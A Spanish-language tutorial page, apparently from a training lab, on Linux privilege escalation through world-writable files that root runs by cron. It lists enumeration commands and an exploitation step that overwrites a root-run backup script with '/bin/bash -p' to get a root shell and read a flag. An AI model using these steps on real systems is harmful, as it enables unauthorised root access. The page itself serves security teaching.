GhostAcademy logo GhostAcademy

Permissions Matter!

Escalada de Privilegios y Dumping Linux PrivEsc World-Writable · Cron

🔒 Permisos inseguros como vector de escalada

Los permisos de archivo en Linux (lectura, escritura, ejecución) para propietario, grupo y otros definen quién puede hacer qué con cada archivo. Un archivo crítico ejecutado por root pero modificable por cualquier usuario es un vector directo de escalada de privilegios.

World-writable: un archivo con permisos -rwxrwxrwx o 777 puede ser modificado por cualquier usuario del sistema. Si ese archivo lo ejecuta root (vía cron, script de mantenimiento, etc.), el atacante puede inyectar código malicioso.

Tabla de permisos Linux

OctalSímboloSignificado
777rwxrwxrwxTodos pueden leer, escribir y ejecutar (peligroso)
755rwxr-xr-xSólo el propietario escribe; todos pueden leer y ejecutar
644rw-r--r--Sólo el propietario escribe; todos pueden leer
600rw-------Sólo el propietario puede leer y escribir
4755rwsr-xr-xSUID: se ejecuta con privilegios del propietario

🔧 Comandos del laboratorio

1. Confirmar acceso inicial

bash
whoami
id

2. Buscar archivos world-writable

bash — archivos modificables por todos
find / -type f -perm -2 -exec ls -l {} \; 2>/dev/null
bash — archivos de root modificables por todos
find / -type f -user root -perm -2 2>/dev/null

3. Buscar directorios world-writable

bash
find / -type d -perm -2 -exec ls -ld {} \; 2>/dev/null
bash — alternativa más limpia
find / -type d -perm -0002 -ls 2>/dev/null

4. Identificar binarios o scripts críticos modificables

Si un script ejecutado por root tiene permisos de escritura para todos, se puede modificar para añadir un payload.

bash — ver permisos de un archivo concreto
ls -la /usr/local/bin/backup.sh
bash — quién ejecuta este script (buscar en cron)
crontab -l
cat /etc/crontab
ls -la /etc/cron.*

5. Explotación: inyectar payload en archivo vulnerable

bash
echo "/bin/bash -p" > /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
# Esperar a que root ejecute el script (cron, mantenimiento...)

6. Verificar escalada

bash
whoami
# root
id
# uid=0(root)

7. Obtener la flag

bash
cat /root/flag.txt

🗼 Flujo del ataque

1
EnumeraciónLocalizar archivos/directorios world-writable con find.
2
IdentificaciónComprobar si los archivos son ejecutados por root (cron, scripts de inicio).
3
ExplotaciónModificar el archivo con un payload (/bin/bash -p).
4
Esperar o dispararEl script se ejecuta con permisos de root automáticamente.
5
Shell rootConfirmar con whoami y id.
6
FlagLeer /root/flag.txt.

🎯 ¿Qué buscar? — Indicadores de éxito